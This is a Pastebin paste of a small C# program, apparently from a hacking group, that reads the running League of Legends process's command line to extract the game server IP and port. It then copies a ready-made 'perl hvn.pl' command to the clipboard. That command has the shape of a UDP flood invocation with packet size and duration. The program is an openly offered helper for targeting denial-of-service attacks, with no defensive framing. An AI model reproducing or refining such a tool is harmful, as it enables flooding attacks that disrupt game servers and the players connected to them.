HackerPro536

LOLIP - Modified by HackerPro536 - HVNGroups.Net

Dec 8th, 2015
200
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.75 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Management;
  4. using System.Text.RegularExpressions;
  5. using System.Windows.Forms;
  6.  
  7. namespace League_IP
  8. {
  9.   internal class Lolip
  10.   {
  11.     [STAThread]
  12.     private static void Main(string[] args)
  13.     {
  14.       List<string> list = new Lolip().wmi_process();
  15.       if (list.Count < 1)
  16.         return;
  17.       Console.WriteLine("LOLIP - Modified by HackerPro536 - HVNGroups.Net");
  18.       Console.WriteLine("\nIP: " + list[0]);
  19.       Console.WriteLine("Port: " + list[1]);
  20.       Clipboard.SetText("perl hvn.pl " + list[0] + " " + list[1] + " 1024 600");
  21.       Console.ReadLine();
  22.     }
  23.  
  24.     private List<string> wmi_process()
  25.     {
  26.       string input = "";
  27.       List<string> list1 = new List<string>();
  28.       try
  29.       {
  30.         foreach (ManagementBaseObject managementBaseObject in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_Process WHERE Caption = 'League of Legends.exe'").Get())
  31.           input = managementBaseObject["CommandLine"].ToString();
  32.       }
  33.       catch (ManagementException ex)
  34.       {
  35.         Console.WriteLine("An error occurred while querying for WMI data: " + ex.Message);
  36.       }
  37.       if (input.Length <= 1)
  38.         return list1;
  39.       string pattern = "\"";
  40.       IList<int> list2 = (IList<int>) new List<int>();
  41.       foreach (Match match in Regex.Matches(input, pattern))
  42.         list2.Add(match.Index);
  43.       int num = list2[list2.Count - 2];
  44.       string str1 = input.Substring(num + 1);
  45.       string str2 = str1.Substring(0, str1.IndexOf(' ') + 1);
  46.       string str3 = str1.Substring(str2.Length, 4);
  47.       string str4 = str2.Trim();
  48.       string str5 = str3.Trim();
  49.       list1.Add(str4);
  50.       list1.Add(str5);
  51.       return list1;
  52.     }
  53.   }
  54. }
Add Comment
Please, Sign In to add comment